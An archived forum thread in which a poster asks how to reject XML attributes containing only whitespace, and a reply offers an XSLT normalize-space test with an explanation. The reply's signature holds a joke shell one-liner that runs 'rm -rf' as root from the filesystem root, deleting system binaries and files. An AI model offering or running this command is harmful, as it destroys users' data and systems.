Help | Site Map
Connecting Tech Pros Worldwide
 
 
LinkBack Thread Tools
  #1  
Old July 20th, 2005, 09:38 AM
hellostephen@hotmail.com
Guest
 
Posts: n/a
Default Reject an attribute that has only spaces in schema

Hi.

I'm looking for a way reject an xml document with an attribute
that has whitespace only. This is not so hard when the attribute
is an empty string but the whitespaces has me stumped.

BTW I know very little regular expression syntax.

Thanks.

  #2  
Old July 20th, 2005, 09:40 AM
Peter Flynn
Guest
 
Posts: n/a
Default Re: Reject an attribute that has only spaces in schema

hellostephen@hotmail.com wrote:
[color=blue]
> Hi.
>
> I'm looking for a way reject an xml document with an attribute
> that has whitespace only. This is not so hard when the attribute
> is an empty string but the whitespaces has me stumped.[/color]

<xsl:if test="normalize-space(@foo)=''">

Counter-intuitive, as the normalize-space function condenses multiple
sequential white-space tokens to a single space when they occur between
non-white-space characters, but zaps them completely when they occur in
isolation. It's consistent with the action taken for leading and trailing
multiple white-space, rather than with the action taken on white-space
between words.
[color=blue]
> BTW I know very little regular expression syntax.[/color]

Not needed in this case.

///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
 

Bookmarks

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are Off
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

What is Bytes?

We are a network of experts and professionals in IT and software development that help one another with answers to tough questions and share insights. Get the best answers to your questions from over network members.
Post your question now . . .
It's fast and it's free

Popular Articles